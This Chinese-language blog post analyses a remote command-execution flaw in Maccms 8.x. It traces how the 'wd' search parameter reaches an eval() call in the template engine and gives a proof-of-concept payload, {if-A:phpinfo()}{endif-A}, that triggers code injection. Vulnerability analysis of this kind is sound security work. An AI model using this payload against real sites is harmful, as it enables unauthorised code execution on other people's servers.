您的位置:首页 > 其它

Maccms8.x 命令执行漏洞分析

2017-08-19 20:08 555 查看
下载链接https://share.weiyun.com/23802397ed25681ad45c112bf34cc6db

首先打开Index.php

$m = be('get','m');


m参数获取经过第17行分割后

$par = explode('-',$m);


这里填入?m=vod-search

经过34-39行处理

$acs = array('vod','art','map','user','gbook','comment','label');

if(in_array($ac,$acs)){
$tpl->P["module"] = $ac;
include MAC_ROOT.'/inc/module/'.$ac.'.php';
}


这样就包含了/inc/module/vod.php

elseif($method=='search')
{
$tpl->P["siteaid"] = 15;
$wd = be("all", "wd");
if(!empty($wd)){ $tpl->P["wd"] = $wd; }


然后获取wd参数

之后在index.php第45行附近进入了

$tpl->ifex();


跟踪函数

刚上来

function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");


定义正则的规则 而$this-H在vod文件中说明了/inc/module/vod.php 189行附近

$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");


回到/inc/common/template.php 866行

preg_match_all($labelRule,$this->H,$iar);


其实就是匹配出提取出来的wd参数

接着进入循环

for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;


接着往下走发现要实现eval

在916到921行限制是最少的

else{
//die("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}


总结一下$this-H中必须有{if-我们输入的wd参数带有{if-就可以绕过

然后满足

{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}


这样提交

{if-A:phpinfo()}{endif-A}


进入preg_match_all中上面内容被扔进一个二维数组中

第874行的函数就是

for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;  --874


phpinfo()

接着不满足881行的if条件

if (strpos(",".$strThen,$labelRule2)>0){


进入了906行 而又不满足908行的if

if (strpos(",".$strThen,$labelRule3)>0){


进入了最没限制的916行

导致了命令执行

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: